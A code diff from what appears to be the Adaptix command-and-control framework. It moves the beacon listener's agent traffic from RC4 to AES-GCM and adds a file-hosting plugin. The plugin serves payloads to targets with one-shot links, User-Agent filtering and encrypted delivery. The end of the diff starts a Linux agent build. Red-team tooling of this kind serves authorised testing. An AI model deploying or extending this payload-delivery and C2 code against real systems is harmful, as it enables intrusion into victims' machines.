- let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex"));
+ let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex"));
textlineEncryptKey.setEnabled(mode_create)
let buttonEncryptKey = form.create_button("Generate");
buttonEncryptKey.setEnabled(mode_create)
let spacer2 = form.create_vspacer()
- form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); });
+ form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); });
let layout = form.create_gridlayout();
layout.addWidget(spacer1, 0, 0, 1, 3);
diff --git a/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go b/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go
index 43b2f5b48..f664af1dd 100644
--- a/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go
+++ b/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go
@@ -2,7 +2,8 @@ package main
import (
"bytes"
- "crypto/rc4"
+ "crypto/aes"
+ "crypto/cipher"
"encoding/binary"
"encoding/hex"
"encoding/json"
@@ -167,13 +168,23 @@ func (l *Listener) InternalHandler(data []byte) (string, error) {
if err != nil {
return "", err
}
- rc4crypt, err := rc4.NewCipher(encKey)
+ block, err := aes.NewCipher(encKey)
+ if err != nil {
+ return "", err
+ }
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return "", err
+ }
+ nonceSize := gcm.NonceSize()
+ if len(data) < nonceSize+gcm.Overhead() {
+ return "", fmt.Errorf("ciphertext too short")
+ }
+ nonce, ciphertext := data[:nonceSize], data[nonceSize:]
+ agentInfo, err := gcm.Open(nil, nonce, ciphertext, nil)
if err != nil {
return "", err
}
-
- agentInfo := make([]byte, len(data))
- rc4crypt.XORKeyStream(agentInfo, data)
agentType := fmt.Sprintf("%08x", uint(binary.BigEndian.Uint32(agentInfo[:4])))
agentInfo = agentInfo[4:]
diff --git a/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go b/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go
index 3c964af82..1d908c6af 100644
--- a/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go
+++ b/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go
@@ -35,9 +35,9 @@ func validConfig(config string) error {
return errors.New("Port must be in the range 1-65535")
}
- match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey)
- if len(conf.EncryptKey) != 32 || !match {
- return errors.New("encrypt_key must be 32 hex characters")
+ match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey)
+ if len(conf.EncryptKey) != 64 || !match {
+ return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)")
}
return nil
diff --git a/AdaptixServer/extenders/hosting_service/Makefile b/AdaptixServer/extenders/hosting_service/Makefile
new file mode 100644
index 000000000..13d860e2c
--- /dev/null
+++ b/AdaptixServer/extenders/hosting_service/Makefile
@@ -0,0 +1,9 @@
+all: clean
+ @ echo " * Building hosting service plugin"
+ @ mkdir dist
+ @ cp config.yaml ax_config.axs ./dist/
+ @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/service_hosting.so pl_main.go
+ @ echo " done..."
+
+clean:
+ @ rm -rf dist
diff --git a/AdaptixServer/extenders/hosting_service/ax_config.axs b/AdaptixServer/extenders/hosting_service/ax_config.axs
new file mode 100644
index 000000000..0fbb71fa4
--- /dev/null
+++ b/AdaptixServer/extenders/hosting_service/ax_config.axs
@@ -0,0 +1,320 @@
+/// Hosting Service - UI
+
+let hostingDock = null;
+let hostingTable = null;
+let filesData = [];
+
+// ============================================================================
+// InitService - Called when service is loaded
+// ============================================================================
+
+function InitService() {
+ createHostingDock();
+ loadFiles();
+}
+
+// ============================================================================
+// Data Handler - Receives data from server
+// ============================================================================
+
+function data_handler(data) {
+ try {
+ let json = JSON.parse(data);
+ let msgType = json.type;
+
+ if (msgType === "files") {
+ filesData = json.data || [];
+ refreshTable();
+ }
+ else if (msgType === "url") {
+ ax.clipboard_set(json.data.url);
+ ax.show_message("Hosting", "URL copied to clipboard:\n" + json.data.url);
+ }
+ else if (msgType === "event") {
+ handleEvent(json.event, json.data);
+ }
+ else if (msgType === "error") {
+ ax.show_message("Hosting Error", json.message);
+ }
+ } catch (e) {
+ ax.log_error("Hosting: parse error: " + e);
+ }
+}
+
+// ============================================================================
+// Hosting Dock
+// ============================================================================
+
+function createHostingDock() {
+ hostingDock = form.create_ext_dock("hosting_files", "Hosted Files", "");
+
+ let mainLayout = form.create_vlayout();
+
+ // Toolbar
+ let toolbar = form.create_hlayout();
+
+ let btnAdd = form.create_button("Add File");
+ let btnDelete = form.create_button("Delete");
+ let btnToggle = form.create_button("Toggle");
+ let btnCopyURL = form.create_button("Copy URL");
+ let btnRefresh = form.create_button("Refresh");
+
+ toolbar.addWidget(btnAdd);
+ toolbar.addWidget(btnToggle);
+ toolbar.addWidget(btnCopyURL);
+ toolbar.addWidget(btnDelete);
+ toolbar.addWidget(form.create_hspacer());
+ toolbar.addWidget(btnRefresh);
+
+ let toolbarPanel = form.create_panel();
+ toolbarPanel.setLayout(toolbar);
+ mainLayout.addWidget(toolbarPanel);
+
+ // Table
+ hostingTable = form.create_table(["Path", "Filename", "MIME", "Size", "Downloads", "Status", "Created By", "Created"]);
+ hostingTable.setSortingEnabled(true);
+ hostingTable.setReadOnly(true);
+ mainLayout.addWidget(hostingTable);
+
+ hostingDock.setLayout(mainLayout);
+ hostingDock.setSize(1000, 400);
+ hostingDock.show();
+
+ // Signals
+ form.connect(btnAdd, "clicked", function() {
+ showAddFileDialog();
+ });
+
+ form.connect(btnDelete, "clicked", function() {
+ let rows = hostingTable.selectedRows();
+ if (rows.length === 0) return;
+ let fid = getFileIDByRow(rows[0]);
+ if (fid) {
+ if (ax.prompt_confirm("Delete File", "Remove this hosted file?")) {
+ ax.service_command("Hosting", "delete", {id: fid});
+ }
+ }
+ });
+
+ form.connect(btnToggle, "clicked", function() {
+ let rows = hostingTable.selectedRows();
+ if (rows.length === 0) return;
+ let fid = getFileIDByRow(rows[0]);
+ if (fid) {
+ ax.service_command("Hosting", "toggle", {id: fid});
+ }
+ });
+
+ form.connect(btnCopyURL, "clicked", function() {
+ let rows = hostingTable.selectedRows();
+ if (rows.length === 0) return;
+ let fid = getFileIDByRow(rows[0]);
+ if (fid) {
+ ax.service_command("Hosting", "copyurl", {id: fid});
+ }
+ });
+
+ form.connect(btnRefresh, "clicked", function() {
+ loadFiles();
+ });
+}
+
+// ============================================================================
+// Add File Dialog
+// ============================================================================
+
+function showAddFileDialog() {
+ let dialog = form.create_dialog("Host File");
+ dialog.setSize(600, 500);
+
+ let pageLayout = form.create_vlayout();
+
+ // --- File Selection ---
+ let fileGrid = form.create_gridlayout();
+
+ let txtFilePath = form.create_textline("");
+ txtFilePath.setPlaceholder("Select a file to host...");
+ txtFilePath.setReadOnly(true);
+ let btnBrowse = form.create_button("Browse");
+ let fileRow = form.create_hlayout();
+ fileRow.addWidget(txtFilePath);
+ fileRow.addWidget(btnBrowse);
+ let filePanel = form.create_panel();
+ filePanel.setLayout(fileRow);
+
+ fileGrid.addWidget(form.create_label("File *"), 0, 0);
+ fileGrid.addWidget(filePanel, 0, 1);
+
+ let txtPath = form.create_textline("");
+ txtPath.setPlaceholder("/downloads/payload.exe");
+ fileGrid.addWidget(form.create_label("URL Path"), 1, 0);
+ fileGrid.addWidget(txtPath, 1, 1);
+
+ let txtMime = form.create_textline("application/octet-stream");
+ fileGrid.addWidget(form.create_label("MIME Type"), 2, 0);
+ fileGrid.addWidget(txtMime, 2, 1);
+
+ let fileInner = form.create_panel();
+ fileInner.setLayout(fileGrid);
+ let grpFile = form.create_groupbox("File", false);
+ grpFile.setPanel(fileInner);
+ pageLayout.addWidget(grpFile);
+
+ // --- Protections ---
+ let protGrid = form.create_gridlayout();
+
+ let chkOneShot = form.create_check("One-shot (auto-disable after first download)");
+ protGrid.addWidget(chkOneShot, 0, 0, 1, 2);
+
+ let chkEncrypt = form.create_check("AES-256-CBC encrypt content (key in X-Enc-Key header)");
+ protGrid.addWidget(chkEncrypt, 1, 0, 1, 2);
+
+ let txtUA = form.create_textline("");
+ txtUA.setPlaceholder("Mozilla.*Windows.* (regex, empty = allow all)");
+ protGrid.addWidget(form.create_label("UA Filter"), 2, 0);
+ protGrid.addWidget(txtUA, 2, 1);
+
+ let spinMaxDL = form.create_spin();
+ spinMaxDL.setRange(0, 999999);
+ spinMaxDL.setValue(0);
+ let maxDLRow = form.create_hlayout();
+ maxDLRow.addWidget(spinMaxDL);
+ maxDLRow.addWidget(form.create_label(" 0 = unlimited"));
+ let maxDLPanel = form.create_panel();
+ maxDLPanel.setLayout(maxDLRow);
+ protGrid.addWidget(form.create_label("Max Downloads"), 3, 0);
+ protGrid.addWidget(maxDLPanel, 3, 1);
+
+ let txtExpiry = form.create_textline("");
+ txtExpiry.setPlaceholder("2025-12-31T23:59:59 (empty = no expiration)");
+ protGrid.addWidget(form.create_label("Expires At"), 4, 0);
+ protGrid.addWidget(txtExpiry, 4, 1);
+
+ let protInner = form.create_panel();
+ protInner.setLayout(protGrid);
+ let grpProt = form.create_groupbox("Protections", false);
+ grpProt.setPanel(protInner);
+ pageLayout.addWidget(grpProt);
+
+ pageLayout.addWidget(form.create_vspacer());
+
+ dialog.setLayout(pageLayout);
+
+ // Browse button
+ let selectedFilePath = "";
+ form.connect(btnBrowse, "clicked", function() {
+ let path = ax.prompt_open_file("Select file to host", "All Files (*)");
+ if (path) {
+ selectedFilePath = path;
+ txtFilePath.setText(path);
+ // Auto-fill path from filename
+ let parts = path.replace(/\\/g, "/").split("/");
+ let fname = parts[parts.length - 1];
+ if (!txtPath.text()) {
+ txtPath.setText("/" + fname);
+ }
+ }
+ });
+
+ let accepted = dialog.exec();
+ if (accepted === true) {
+ if (!selectedFilePath) {
+ ax.show_message("Error", "Please select a file to host");
+ return;
+ }
+
+ let content = ax.file_read_base64(selectedFilePath);
+ if (!content) {
+ ax.show_message("Error", "Failed to read file");
+ return;
+ }
+
+ let parts = selectedFilePath.replace(/\\/g, "/").split("/");
+ let fname = parts[parts.length - 1];
+
+ let req = {
+ filename: fname,
+ content: content,
+ path: txtPath.text(),
+ mime_type: txtMime.text(),
+ one_shot: chkOneShot.isChecked(),
+ encrypted: chkEncrypt.isChecked(),
+ ua_filter: txtUA.text(),
+ max_downloads: spinMaxDL.value(),
+ expires_at: txtExpiry.text()
+ };
+
+ ax.service_command("Hosting", "add", req);
+ }
+}
+
+// ============================================================================
+// Table Helpers
+// ============================================================================
+
+function refreshTable() {
+ if (!hostingTable) return;
+
+ hostingTable.setRowCount(0);
+ if (!filesData) return;
+
+ for (let i = 0; i < filesData.length; i++) {
+ let f = filesData[i];
+ let created = f.created_at ? f.created_at : "";
+ let status = f.enabled ? "Active" : "Disabled";
+ let dlStr = String(f.downloads || 0);
+ if (f.max_downloads > 0) {
+ dlStr += " / " + String(f.max_downloads);
+ }
+
+ let sizeStr = formatSize(f.content_size || 0);
+
+ hostingTable.addItem([
+ f.path || "",
+ f.filename || "",
+ f.mime_type || "",
+ sizeStr,
+ dlStr,
+ status,
+ f.created_by || "",
+ created
+ ]);
+ }
+}
+
+function getFileIDByRow(row) {
+ if (!filesData || row < 0 || row >= filesData.length) return null;
+ return filesData[row].id;
+}
+
+function formatSize(bytes) {
+ if (bytes === 0) return "0 B";
+ let units = ["B", "KB", "MB", "GB"];
+ let i = 0;
+ let size = bytes;
+ while (size >= 1024 && i < units.length - 1) {
+ size = size / 1024;
+ i++;
+ }
+ if (i === 0) return String(size) + " B";
+ return size.toFixed(1) + " " + units[i];
+}
+
+// ============================================================================
+// Event Handling
+// ============================================================================
+
+function handleEvent(eventType, data) {
+ if (eventType === "download") {
+ // Reload file list to reflect updated download count
+ loadFiles();
+ }
+}
+
+// ============================================================================
+// Data Loading
+// ============================================================================
+
+function loadFiles() {
+ ax.service_command("Hosting", "list", {});
+}
diff --git a/AdaptixServer/extenders/hosting_service/config.yaml b/AdaptixServer/extenders/hosting_service/config.yaml
new file mode 100644
index 000000000..cca80d930
--- /dev/null
+++ b/AdaptixServer/extenders/hosting_service/config.yaml
@@ -0,0 +1,5 @@
+extender_type: "service"
+extender_file: "service_hosting.so"
+ax_file: "ax_config.axs"
+service_name: "Hosting"
+service_config: ""
diff --git a/AdaptixServer/extenders/hosting_service/go.mod b/AdaptixServer/extenders/hosting_service/go.mod
new file mode 100644
index 000000000..55d4822e5
--- /dev/null
+++ b/AdaptixServer/extenders/hosting_service/go.mod
@@ -0,0 +1,5 @@
+module adaptix_service_hosting
+
+go 1.25.4
+
+require github.com/Adaptix-Framework/axc2 v1.2.0
diff --git a/AdaptixServer/extenders/hosting_service/go.sum b/AdaptixServer/extenders/hosting_service/go.sum
new file mode 100644
index 000000000..8889bb84d
--- /dev/null
+++ b/AdaptixServer/extenders/hosting_service/go.sum
@@ -0,0 +1,2 @@
+github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA=
+github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ=
diff --git a/AdaptixServer/extenders/hosting_service/pl_main.go b/AdaptixServer/extenders/hosting_service/pl_main.go
new file mode 100644
index 000000000..911c2107d
--- /dev/null
+++ b/AdaptixServer/extenders/hosting_service/pl_main.go
@@ -0,0 +1,652 @@
+package main
+
+import (
+ "bytes"
+ "crypto/aes"
+ "crypto/cipher"
+ "crypto/rand"
+ "encoding/base64"
+ "encoding/hex"
+ "encoding/json"
+ "fmt"
+ "io"
+ "net/http"
+ "regexp"
+ "strings"
+ "sync"
+ "time"
+
+ adaptix "github.com/Adaptix-Framework/axc2"
+)
+
+type Teamserver interface {
+ TsExtenderDataSave(extenderName string, key string, value []byte) error
+ TsExtenderDataLoad(extenderName string, key string) ([]byte, error)
+ TsExtenderDataDelete(extenderName string, key string) error
+ TsExtenderDataKeys(extenderName string) ([]string, error)
+
+ TsEndpointRegisterPublicRaw(method string, path string, handler func(w http.ResponseWriter, r *http.Request)) error
+ TsEndpointUnregisterPublic(method string, path string) error
+ TsEndpointExistsPublic(method string, path string) bool
+
+ TsServiceSendDataAll(service string, data string)
+ TsServiceSendDataClient(operator string, service string, data string)
+}
+
+const ServiceName = "Hosting"
+const ExtenderName = "hosting_service"
+
+// ============================================================================
+// Data Model
+// ============================================================================
+
+type HostedFile struct {
+ ID string `json:"id"`
+ Path string `json:"path"`
+ Filename string `json:"filename"`
+ MimeType string `json:"mime_type"`
+ ContentSize int `json:"content_size"`
+ Encrypted bool `json:"encrypted"`
+ EncKey string `json:"enc_key,omitempty"`
+ UAFilter string `json:"ua_filter"`
+ OneShot bool `json:"one_shot"`
+ MaxDownloads int `json:"max_downloads"`
+ Downloads int `json:"downloads"`
+ ExpiresAt string `json:"expires_at"`
+ Enabled bool `json:"enabled"`
+ CreatedBy string `json:"created_by"`
+ CreatedAt string `json:"created_at"`
+}
+
+// ============================================================================
+// Service struct
+// ============================================================================
+
+type HostingService struct {
+ ts Teamserver
+ moduleDir string
+ mu sync.RWMutex
+ files map[string]*HostedFile
+}
+
+var (
+ Ts Teamserver
+ ModuleDir string
+ Service *HostingService
+)
+
+// ============================================================================
+// Plugin Entry Points
+// ============================================================================
+
+func InitPlugin(ts any, moduleDir string, serviceConfig string) adaptix.PluginService {
+ Ts = ts.(Teamserver)
+ ModuleDir = moduleDir
+
+ Service = &HostingService{
+ ts: Ts,
+ moduleDir: moduleDir,
+ files: make(map[string]*HostedFile),
+ }
+
+ Service.restoreFiles()
+
+ return Service
+}
+
+func (s *HostingService) Call(operator string, function string, args string) {
+ switch function {
+
+ case "list":
+ s.HandleList(operator)
+
+ case "add":
+ s.HandleAdd(operator, args)
+
+ case "delete":
+ s.HandleDelete(operator, args)
+
+ case "toggle":
+ s.HandleToggle(operator, args)
+
+ case "copyurl":
+ s.HandleCopyURL(operator, args)
+
+ case "host_payload":
+ s.HandleHostPayload(operator, args)
+ }
+}
+
+// ============================================================================
+// Helpers: responses
+// ============================================================================
+
+func (s *HostingService) sendResponseAll(msgType string, data interface{}) {
+ resp := map[string]interface{}{
+ "type": msgType,
+ "data": data,
+ }
+ jsonData, err := json.Marshal(resp)
+ if err != nil {
+ return
+ }
+ s.ts.TsServiceSendDataAll(ServiceName, string(jsonData))
+}
+
+func (s *HostingService) sendResponseClient(operator string, msgType string, data interface{}) {
+ resp := map[string]interface{}{
+ "type": msgType,
+ "data": data,
+ }
+ jsonData, err := json.Marshal(resp)
+ if err != nil {
+ return
+ }
+ s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData))
+}
+
+func (s *HostingService) sendEvent(eventType string, data interface{}) {
+ resp := map[string]interface{}{
+ "type": "event",
+ "event": eventType,
+ "data": data,
+ }
+ jsonData, err := json.Marshal(resp)
+ if err != nil {
+ return
+ }
+ s.ts.TsServiceSendDataAll(ServiceName, string(jsonData))
+}
+
+func (s *HostingService) sendError(operator string, message string) {
+ resp := map[string]interface{}{
+ "type": "error",
+ "message": message,
+ }
+ jsonData, err := json.Marshal(resp)
+ if err != nil {
+ return
+ }
+ s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData))
+}
+
+// ============================================================================
+// Helpers: ID generation
+// ============================================================================
+
+func generateID() string {
+ b := make([]byte, 16)
+ rand.Read(b)
+ return hex.EncodeToString(b)
+}
+
+func generatePath() string {
+ b := make([]byte, 8)
+ rand.Read(b)
+ return "/" + hex.EncodeToString(b)
+}
+
+// ============================================================================
+// Handlers
+// ============================================================================
+
+func (s *HostingService) HandleList(operator string) {
+ s.mu.RLock()
+ defer s.mu.RUnlock()
+
+ var list []HostedFile
+ for _, f := range s.files {
+ list = append(list, *f)
+ }
+ s.sendResponseClient(operator, "files", list)
+}
+
+func (s *HostingService) HandleAdd(operator string, args string) {
+ var req struct {
+ Filename string `json:"filename"`
+ Content string `json:"content"` // base64
+ Path string `json:"path"`
+ MimeType string `json:"mime_type"`
+ OneShot bool `json:"one_shot"`
+ Encrypted bool `json:"encrypted"`
+ UAFilter string `json:"ua_filter"`
+ MaxDownloads int `json:"max_downloads"`
+ ExpiresAt string `json:"expires_at"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request: "+err.Error())
+ return
+ }
+
+ if req.Content == "" {
+ s.sendError(operator, "No file content provided")
+ return
+ }
+
+ content, err := base64.StdEncoding.DecodeString(req.Content)
+ if err != nil {
+ s.sendError(operator, "Invalid base64 content: "+err.Error())
+ return
+ }
+
+ s.addFile(operator, req.Filename, content, req.Path, req.MimeType, req.OneShot, req.Encrypted, req.UAFilter, req.MaxDownloads, req.ExpiresAt)
+}
+
+func (s *HostingService) HandleHostPayload(operator string, args string) {
+ var req struct {
+ Filename string `json:"filename"`
+ Content string `json:"content"` // base64
+ Path string `json:"path"`
+ MimeType string `json:"mime_type"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid host_payload request: "+err.Error())
+ return
+ }
+
+ content, err := base64.StdEncoding.DecodeString(req.Content)
+ if err != nil {
+ s.sendError(operator, "Invalid base64 content: "+err.Error())
+ return
+ }
+
+ mime := req.MimeType
+ if mime == "" {
+ mime = "application/octet-stream"
+ }
+
+ s.addFile(operator, req.Filename, content, req.Path, mime, false, false, "", 0, "")
+}
+
+func (s *HostingService) addFile(operator, filename string, content []byte, path, mimeType string, oneShot, encrypted bool, uaFilter string, maxDownloads int, expiresAt string) {
+ id := generateID()
+
+ if path == "" {
+ path = generatePath()
+ }
+ if !strings.HasPrefix(path, "/") {
+ path = "/" + path
+ }
+ if mimeType == "" {
+ mimeType = "application/octet-stream"
+ }
+
+ // Check path collision
+ s.mu.RLock()
+ for _, f := range s.files {
+ if f.Path == path {
+ s.mu.RUnlock()
+ s.sendError(operator, "Path already in use: "+path)
+ return
+ }
+ }
+ s.mu.RUnlock()
+
+ // Check if endpoint already registered externally
+ if s.ts.TsEndpointExistsPublic("GET", path) {
+ s.sendError(operator, "Endpoint already exists: "+path)
+ return
+ }
+
+ var encKey string
+ storedContent := content
+
+ if encrypted {
+ key := make([]byte, 32)
+ rand.Read(key)
+ encKey = hex.EncodeToString(key)
+
+ encData, err := aesEncrypt(content, key)
+ if err != nil {
+ s.sendError(operator, "AES encryption failed: "+err.Error())
+ return
+ }
+ storedContent = encData
+ }
+
+ hf := &HostedFile{
+ ID: id,
+ Path: path,
+ Filename: filename,
+ MimeType: mimeType,
+ ContentSize: len(content),
+ Encrypted: encrypted,
+ EncKey: encKey,
+ UAFilter: uaFilter,
+ OneShot: oneShot,
+ MaxDownloads: maxDownloads,
+ Downloads: 0,
+ ExpiresAt: expiresAt,
+ Enabled: true,
+ CreatedBy: operator,
+ CreatedAt: time.Now().Format("2006-01-02 15:04:05"),
+ }
+
+ // Save metadata
+ metaJSON, err := json.Marshal(hf)
+ if err != nil {
+ s.sendError(operator, "Failed to marshal metadata: "+err.Error())
+ return
+ }
+ if err := s.ts.TsExtenderDataSave(ExtenderName, "meta:"+id, metaJSON); err != nil {
+ s.sendError(operator, "Failed to save metadata: "+err.Error())
+ return
+ }
+
+ // Save content
+ if err := s.ts.TsExtenderDataSave(ExtenderName, "data:"+id, storedContent); err != nil {
+ s.sendError(operator, "Failed to save content: "+err.Error())
+ return
+ }
+
+ // Register endpoint
+ s.registerEndpoint(hf)
+
+ s.mu.Lock()
+ s.files[id] = hf
+ s.mu.Unlock()
+
+ // Broadcast updated file list
+ s.broadcastFiles()
+}
+
+func (s *HostingService) HandleDelete(operator string, args string) {
+ var req struct {
+ ID string `json:"id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ s.mu.Lock()
+ hf, ok := s.files[req.ID]
+ if !ok {
+ s.mu.Unlock()
+ s.sendError(operator, "File not found")
+ return
+ }
+
+ path := hf.Path
+ delete(s.files, req.ID)
+ s.mu.Unlock()
+
+ // Unregister endpoint
+ s.ts.TsEndpointUnregisterPublic("GET", path)
+
+ // Delete from storage
+ s.ts.TsExtenderDataDelete(ExtenderName, "meta:"+req.ID)
+ s.ts.TsExtenderDataDelete(ExtenderName, "data:"+req.ID)
+
+ s.broadcastFiles()
+}
+
+func (s *HostingService) HandleToggle(operator string, args string) {
+ var req struct {
+ ID string `json:"id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ s.mu.Lock()
+ hf, ok := s.files[req.ID]
+ if !ok {
+ s.mu.Unlock()
+ s.sendError(operator, "File not found")
+ return
+ }
+
+ hf.Enabled = !hf.Enabled
+ s.mu.Unlock()
+
+ // Save updated metadata
+ s.saveMeta(hf)
+
+ s.broadcastFiles()
+}
+
+func (s *HostingService) HandleCopyURL(operator string, args string) {
+ var req struct {
+ ID string `json:"id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ s.mu.RLock()
+ hf, ok := s.files[req.ID]
+ if !ok {
+ s.mu.RUnlock()
+ s.sendError(operator, "File not found")
+ return
+ }
+ path := hf.Path
+ s.mu.RUnlock()
+
+ s.sendResponseClient(operator, "url", map[string]interface{}{
+ "url": path,
+ })
+}
+
+// ============================================================================
+// HTTP Serving
+// ============================================================================
+
+func (s *HostingService) registerEndpoint(hf *HostedFile) {
+ fileID := hf.ID
+ path := hf.Path
+
+ handler := func(w http.ResponseWriter, r *http.Request) {
+ s.mu.RLock()
+ f, ok := s.files[fileID]
+ if !ok {
+ s.mu.RUnlock()
+ http.NotFound(w, r)
+ return
+ }
+
+ // 1. Check enabled
+ if !f.Enabled {
+ s.mu.RUnlock()
+ http.NotFound(w, r)
+ return
+ }
+
+ // 2. Check expiration
+ if f.ExpiresAt != "" {
+ expiry, err := time.Parse("2006-01-02T15:04:05", f.ExpiresAt)
+ if err == nil && time.Now().After(expiry) {
+ s.mu.RUnlock()
+ http.NotFound(w, r)
+ return
+ }
+ }
+
+ // 3. Check max downloads
+ if f.MaxDownloads > 0 && f.Downloads >= f.MaxDownloads {
+ s.mu.RUnlock()
+ http.NotFound(w, r)
+ return
+ }
+
+ // 4. Check UA filter
+ if f.UAFilter != "" {
+ ua := r.UserAgent()
+ matched, err := regexp.MatchString(f.UAFilter, ua)
+ if err != nil || !matched {
+ s.mu.RUnlock()
+ http.NotFound(w, r)
+ return
+ }
+ }
+
+ // Snapshot what we need before upgrading the lock
+ mimeType := f.MimeType
+ filename := f.Filename
+ encrypted := f.Encrypted
+ encKey := f.EncKey
+ oneShot := f.OneShot
+ s.mu.RUnlock()
+
+ // Load content from storage
+ contentData, err := s.ts.TsExtenderDataLoad(ExtenderName, "data:"+fileID)
+ if err != nil || len(contentData) == 0 {
+ http.NotFound(w, r)
+ return
+ }
+
+ // 5. Increment download count
+ s.mu.Lock()
+ f2, ok2 := s.files[fileID]
+ if ok2 {
+ f2.Downloads++
+ if oneShot {
+ f2.Enabled = false
+ }
+ }
+ s.mu.Unlock()
+
+ // 7. Serve content
+ w.Header().Set("Content-Type", mimeType)
+ w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=\"%s\"", filename))
+ w.Header().Set("Content-Length", fmt.Sprintf("%d", len(contentData)))
+ w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0")
+
+ // 8. If encrypted, add key header
+ if encrypted && encKey != "" {
+ w.Header().Set("X-Enc-Key", encKey)
+ }
+
+ w.Write(contentData)
+
+ // 9. Broadcast download event
+ remoteIP := getRemoteIP(r)
+ userAgent := r.UserAgent()
+ go func() {
+ s.sendEvent("download", map[string]interface{}{
+ "file_id": fileID,
+ "filename": filename,
+ "path": path,
+ "remote_ip": remoteIP,
+ "user_agent": userAgent,
+ "time": time.Now().Format("2006-01-02 15:04:05"),
+ })
+
+ // 10. Persist updated metadata
+ s.mu.RLock()
+ f3, ok3 := s.files[fileID]
+ if ok3 {
+ s.saveMeta(f3)
+ }
+ s.mu.RUnlock()
+
+ // Broadcast updated files list
+ s.broadcastFiles()
+ }()
+ }
+
+ s.ts.TsEndpointRegisterPublicRaw("GET", path, handler)
+}
+
+func getRemoteIP(r *http.Request) string {
+ if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
+ parts := strings.Split(xff, ",")
+ return strings.TrimSpace(parts[0])
+ }
+ if xri := r.Header.Get("X-Real-IP"); xri != "" {
+ return xri
+ }
+ return strings.Split(r.RemoteAddr, ":")[0]
+}
+
+// ============================================================================
+// Persistence
+// ============================================================================
+
+func (s *HostingService) saveMeta(hf *HostedFile) {
+ metaJSON, err := json.Marshal(hf)
+ if err != nil {
+ return
+ }
+ s.ts.TsExtenderDataSave(ExtenderName, "meta:"+hf.ID, metaJSON)
+}
+
+func (s *HostingService) restoreFiles() {
+ keys, err := s.ts.TsExtenderDataKeys(ExtenderName)
+ if err != nil {
+ return
+ }
+
+ for _, key := range keys {
+ if !strings.HasPrefix(key, "meta:") {
+ continue
+ }
+
+ data, err := s.ts.TsExtenderDataLoad(ExtenderName, key)
+ if err != nil {
+ continue
+ }
+
+ var hf HostedFile
+ if json.Unmarshal(data, &hf) != nil {
+ continue
+ }
+
+ // Verify content exists
+ id := strings.TrimPrefix(key, "meta:")
+ _, err = s.ts.TsExtenderDataLoad(ExtenderName, "data:"+id)
+ if err != nil {
+ continue
+ }
+
+ s.files[hf.ID] = &hf
+
+ // Re-register endpoint
+ s.registerEndpoint(&hf)
+ }
+}
+
+func (s *HostingService) broadcastFiles() {
+ s.mu.RLock()
+ defer s.mu.RUnlock()
+
+ var list []HostedFile
+ for _, f := range s.files {
+ list = append(list, *f)
+ }
+ s.sendResponseAll("files", list)
+}
+
+// ============================================================================
+// AES-256-CBC Encryption
+// ============================================================================
+
+func aesEncrypt(plaintext []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ // PKCS7 padding
+ blockSize := block.BlockSize()
+ padding := blockSize - len(plaintext)%blockSize
+ padtext := bytes.Repeat([]byte{byte(padding)}, padding)
+ plaintext = append(plaintext, padtext...)
+
+ // Random IV
+ iv := make([]byte, blockSize)
+ if _, err := io.ReadFull(rand.Reader, iv); err != nil {
+ return nil, err
+ }
+
+ // Encrypt
+ mode := cipher.NewCBCEncrypter(block, iv)
+ ciphertext := make([]byte, len(plaintext))
+ mode.CryptBlocks(ciphertext, plaintext)
+
+ // Prepend IV
+ return append(iv, ciphertext...), nil
+}
diff --git a/AdaptixServer/extenders/linux_agent/Makefile b/AdaptixServer/extenders/linux_agent/Makefile
new file mode 100644
index 000000000..eafc2ef41
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/Makefile
@@ -0,0 +1,16 @@
+all: clean
+ @ echo " * Building agent_linux plugin"
+ @ mkdir dist
+ @ cp config.yaml ax_config.axs ./dist/
+ @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_linux.so pl_main.go pl_utils.go pl_hashes_linux.go pl_encoder_linux.go
+ @ echo " done..."
+
+ @ echo " * Copying agent sources for per-payload compilation"
+ @ mkdir -p ./dist/src_agent/agent ./dist/src_agent/files
+ @ cp src_agent/agent/*.c src_agent/agent/*.h ./dist/src_agent/agent/
+ @ rm -f ./dist/src_agent/agent/config.h ./dist/src_agent/agent/ApiDefines.h ./dist/src_agent/agent/strings_obf.h
